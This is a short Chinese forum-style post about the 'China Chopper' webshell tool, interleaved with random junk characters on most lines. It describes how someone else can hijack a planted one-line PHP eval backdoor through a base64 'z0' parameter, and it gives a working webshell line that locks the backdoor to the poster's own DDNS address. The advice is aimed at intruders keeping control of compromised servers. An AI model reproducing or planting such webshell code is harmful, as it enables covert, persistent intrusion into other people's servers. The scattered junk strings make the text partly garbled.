今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
) i# K; G# s6 h" x3 f( @4 Q& m# n/ X# J
# [/ e* d1 B! T8 f. y, r& |就算你设置了密码,使用了eval($_REQUEST['moyo']);( _" d1 m) V- t
# @' Q2 U* b/ I! ]0 H! }* [5 p
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
" i* z1 A% o4 i; X& p
$ U) j1 }$ a) S2 g7 e因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));3 ^+ M3 I! _% D; @$ d( w) K1 i$ t
) G9 h& X1 A J8 o6 }, j
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了7 x' g* v+ H* Q; s* o4 M }
; A3 T: a8 C8 O9 [; k7 E1 S
不知道是设计缺陷还是故意留的后门: F7 w+ [, H! G& S% m% p
' x" s9 _8 K# e3 Q: U
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
$ V p: _# {: y# r/ w/ v( r& j
& H5 B4 E8 j# d4 ?) M- _本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org( B( K2 q( w# T
8 d$ i; [& Z: n! z3 t' R7 a然后一句话后门这样写
8 M' q3 \( K" `+ i# `
2 z4 @6 B6 Y, j8 Y" e) P& n y* @<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>! }( e4 B$ Z4 l6 A- M" p
这样就可以让一句话后门只允许自己的电脑连接了
# h9 w/ P1 b# j7 f6 H0 L, G! A' Y+ q3 F9 f# s/ t$ T( D
|